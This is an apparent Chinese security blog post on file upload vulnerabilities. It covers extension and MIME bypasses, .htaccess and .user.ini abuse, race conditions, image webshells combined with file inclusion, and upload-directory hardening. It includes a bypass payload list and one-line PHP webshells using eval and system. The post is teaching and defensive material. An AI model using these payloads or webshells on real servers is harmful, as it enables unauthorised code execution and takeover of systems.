文件上传漏洞

1662 字
8 分钟
文件上传漏洞

一、文件上传漏洞概述#

1.1 什么是文件上传漏洞?#

由于后端未对上传的文件进行正确的识别和处理,导致攻击者上传恶意文件(如 Webshell),进而控制系统。

1.2 常见误解#

说法正误
“看见一个上传点,已经挖到一个文件上传漏洞”❌ 必须上传并执行恶意代码才算
“上传功能正常就是安全的”❌ 功能正常≠安全,需检查过滤机制

1.3 漏洞危害#

危害说明
执行命令上传 Webshell,控制目标服务器
资源消耗上传大文件或恶意文件消耗服务器资源
内网渗透以服务器为跳板攻击内网

1.4 利用条件#

1. 具备上传点且功能正常
2. 知道上传文件的路径且能够访问
3. 上传的文件可以被执行(如放在可执行目录)
4. 上传文件中的有效代码未被破坏(未被转义/过滤)
5. 后端脚本解析器需有足够权限(如管理员权限)
6. 配合文件解析漏洞使用
7. 未被 WAF 拦截或能够绕过 WAF

二、文件上传绕过方式#

2.1 绕过方式总览#

类别方式前提条件
前端绕过禁用 JS / 修改前端代码仅前端校验
MIME 绕过修改 Content-Type后端仅检查 MIME
生僻扩展名使用 php3/php4/php5/phtml 等黑名单不完整
大小写绕过.pHp / .PhP黑名单未忽略大小写
末尾加空格.php 低版本 PHP / Windows
末尾加点.php.Windows 系统
::$DATA 绕过.php::$DATAWindows + NTFS
双写绕过.pphphp黑名单仅替换一次
NULL 截断.php%00.jpgPHP < 5.3.29
.htaccess上传 .htaccess 解析任意文件Apache
.user.ini上传 .user.ini 包含恶意文件PHP 较高版本
条件竞争先上传再检查,利用时间差检查机制滞后的场景

2.2 生僻扩展名#

PHP 系列:

php、php2、php3、php4、php5、phtml、pht、phps

ASP 系列:

asp、aspx、asa、asax、ascx、ashx、asmx、cer

JSP 系列:

jsp、jspa、jspx、jsw、jsv、jspf、jtml

2.3 前端绕过#

1. 浏览器禁用 JavaScript
2. 使用 Burp Suite 修改上传请求
3. 删除或修改前端校验逻辑

2.4 Content-Type (MIME) 绕过#

# 正常上传
Content-Type: image/jpeg
# 修改为合法 MIME 类型绕过检查
Content-Type: image/gif
Content-Type: image/png

2.5 大小写绕过#

# 黑名单过滤 .php,但未忽略大小写
shell.pHp
shell.PhP
shell.PHP

2.6 末尾加空格/加点#

# Windows 系统会自动去除末尾空格和点
shell.php → 有效
shell.php. → Windows 自动去除末尾点
shell.php → 空格

2.7 ::DATA 绕过(NTFS 文件流)#

Terminal window
# Windows NTFS 流文件绕过
shell.php::$DATA
# 实际保存为 shell.php

2.8 双写绕过#

// 黑名单替换 .php 为空(仅替换一次)
shell.pphphp → 替换后 → shell.php

2.9 NULL 截断#

Terminal window
# PHP < 5.3.29 版本
shell.php%00.jpg
# %00 截断后面的内容,实际保存为 shell.php

2.10 .htaccess 绕过(Apache)#

# 上传 .htaccess 文件,让任意文件作为 PHP 解析
AddType application/x-httpd-php .jpg .png .gif

执行流程:

上传 .htaccess → 修改解析规则 → 上传图片马 → 图片马被当作 PHP 执行

2.11 .user.ini 绕过#

# 上传 .user.ini 文件(PHP 5.3+)
auto_prepend_file = shell.jpg
# 所有 PHP 文件执行前自动包含 shell.jpg

执行流程:

上传 .user.ini → 设置自动包含 → 上传图片马 → 访问任意 PHP 文件 → 图片马被执行

三、图片马#

3.1 什么是图片马?#

将 Webshell 代码隐藏在正常图片中的文件。图片仍可正常显示,但包含恶意代码。

3.2 创建图片马#

Terminal window
# 准备文件
0.jpg # 正常图片
shell.php # 恶意代码
# 合并生成图片马
copy 0.jpg /b + shell.php /a shell.jpg
# 参数说明:
# /b 二进制模式
# /a ASCII模式

3.3 图片马 + 文件包含 = Getshell#

include.php
上传图片马 → 文件包含漏洞包含该图片 → 图片中的 PHP 代码被执行 → Getshell
<?php
include($_GET['file']);
?>
http://target.com/include.php?file=shell.jpg

四、上传漏洞挖掘流程#

4.1 挖掘步骤#

1. 找上传功能点
├── 头像上传
├── 附件上传
├── 文件管理
└── 编辑器上传
↓
2. 上传正常文件,确认功能正常
↓
3. 判断是白名单还是黑名单
├── 白名单 → 只允许特定扩展名
│ ├── 尝试 00 截断
│ ├── 条件竞争
│ └── 图片马 + 文件包含/解析漏洞
│
└── 黑名单 → 过滤特定扩展名
├── 修改扩展名抓包
├── 大小写绕过
├── 生僻扩展名
├── 末尾加点/空格/::$DATA
├── .htaccess / .user.ini
├── 双写绕过
└── NULL 截断
↓
4. 确认上传成功且可执行

4.2 URL Fuzz 找上传点#

Terminal window
# 常见上传路径
http://xxx.com/upload.php
http://xxx.com/uploadfile.php
http://xxx.com/uploaddoc.php
http://xxx.com/fileupload.php
http://xxx.com/upload.jsp
http://xxx.com/upfile.php

五、WebShell 权限#

5.1 权限来源#

Webshell 由 PHP 解析器执行,权限取决于 PHP 解析器的运行方式。

运行方式权限来源
Apache + PHP 模块Apache 进程权限
Nginx + PHP-FPMPHP-FPM 服务运行用户权限

5.2 权限提升思路#

1. 利用系统漏洞提权
2. 利用配置错误(如 sudo 配置不当)
3. 利用敏感文件获取凭证
4. 利用 SUID 文件

六、条件竞争#

6.1 原理#

文件先被保存到服务器,再进行安全检查(如扫描病毒、检查内容)。攻击者利用检查完成前的时间差执行恶意代码。

6.2 利用方式#

1. 持续上传恶意文件
2. 同时持续访问该文件
3. 在检查完成前触发执行

七、防御措施#

7.1 服务端防御#

措施说明
白名单只允许指定扩展名(推荐)
重命名文件使用随机字符串重命名,不暴露扩展名
限制目录权限上传目录禁止执行 PHP
内容检查检查文件内容是否包含恶意代码
二次渲染对图片重新生成,去除恶意代码
限制大小限制上传文件大小
限制 MIME校验 MIME 类型

7.2 Nginx 配置示例#

# 禁止解析上传目录中的 PHP
location /uploads/ {
location ~ .*\.(php|php5)?$ {
deny all;
}
}

7.3 Apache 配置示例#

# 禁止解析上传目录中的 PHP
<Directory /var/www/html/uploads>
php_flag engine off
AddType text/plain .php .php5 .phtml
</Directory>

📌 快速参考卡片#

测试 Payload#

Terminal window
# 测试上传
shell.php
shell.pHp
shell.php3
shell.php5
shell.phtml
shell.jpg.php
shell.php.
shell.php%00.jpg
shell.php::$DATA
shell.pphphp
# 图片马生成
copy 0.jpg /b + shell.php /a shell.jpg
# .htaccess
AddType application/x-httpd-php .jpg

判断黑白名单#

方法操作
上传 .txt成功 → 黑名单,失败 → 白名单
上传 .php失败 → 黑名单或白名单限制
上传 .php3成功 → 黑名单不完整
上传 .jpg.php成功 → 仅检查后缀名

目录权限#

/uploads/ 目录应禁止执行 PHP 文件
配置:php_flag engine off

一句话木马#

<?php @eval($_POST['cmd']); ?>
<?php system($_GET['c']); ?>
<?= @eval($_POST['cmd']); ?>

图片马代码#

// 隐藏在一张图片末尾
<?php @eval($_POST['cmd']); ?>

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

文件上传漏洞
https://blog.emberlag.com/posts/file-upload-vulnerability/
作者
3mb3rl4g
发布于
2026-09-20
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档,我不着急写完,写得慢一点,刚好能让很久以后,还能在此刻的文字里找回共鸣。
分类
标签
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录